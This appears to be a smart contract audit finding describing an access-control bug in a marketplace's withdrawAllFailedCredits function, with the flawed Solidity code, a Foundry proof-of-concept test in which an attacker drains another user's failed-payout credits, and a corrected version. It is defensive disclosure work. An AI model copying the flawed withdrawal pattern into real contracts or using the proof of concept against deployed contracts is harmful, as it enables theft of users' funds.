Root + Impact
Description
-
If someone calls function withdrawAllFailedCredits(address _receiver) ends up receiving the pending amount from the receiver to itself draining the fail funds to itself
-
When the function is called it fetchs correctly the failed amount pending to the receiver and then proceeds to send the amount to itself, this operation can be repeated as many times as funds are in the contract.
* @notice Allows users to withdraw funds that failed to be transferred directly.
*/
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
@> failedTransferCredits[msg.sender] = 0;
@> (bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Risk
Likelihood:
-
Monitor the contract for failed payouts is very easy to do it.
-
When failed payout is identified and confirming with the map failedTransferCredits that is set to public. The attacker has the means to steal all the eth from the contract.
Impact:
Proof of Concept
The attacker identifies a failed payout to an address from the Marketplace contract, and thanks to the nature of Blockchain the failed transaction is broadcasted to the network. The attacker proceeds to issue the function market.withdrawAllFailedCredits and drains the crypto from the contract.
function test_withdrawAllFailedCredits_actualVulnerability() public {
_mintNFT();
_listNFT();
vm.deal(address(rejector), 10 ether);
vm.prank(address(rejector));
market.placeBid{value: MIN_PRICE + 1 ether}(TOKEN_ID);
vm.prank(BIDDER_1);
market.placeBid{value: MIN_PRICE + 2 ether}(TOKEN_ID);
uint256 rejectorFailedCredits = market.failedTransferCredits(address(rejector));
assertEq(rejectorFailedCredits, MIN_PRICE + 1 ether, "RejectEther should have failed credits");
uint256 attackerBalanceBefore = ATTACKER.balance;
vm.prank(ATTACKER);
market.withdrawAllFailedCredits(address(rejector));
assertEq(ATTACKER.balance, attackerBalanceBefore + rejectorFailedCredits, "ATTACKER stole RejectEther's credits");
assertEq(market.failedTransferCredits(address(rejector)), rejectorFailedCredits, "RejectEther credits still exist due to bug");
}
Recommended Mitigation
/**
* @notice Allows users to withdraw funds that failed to be transferred directly.
*/
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
- failedTransferCredits[msg.sender] = 0;
+ failedTransferCredits[_receiver] = 0;
- (bool success, ) = payable(msg.sender).call{value: amount}("");
+ (bool success, ) = payable(_receiver).call{value: amount}("");
require(success, "Withdraw failed");
}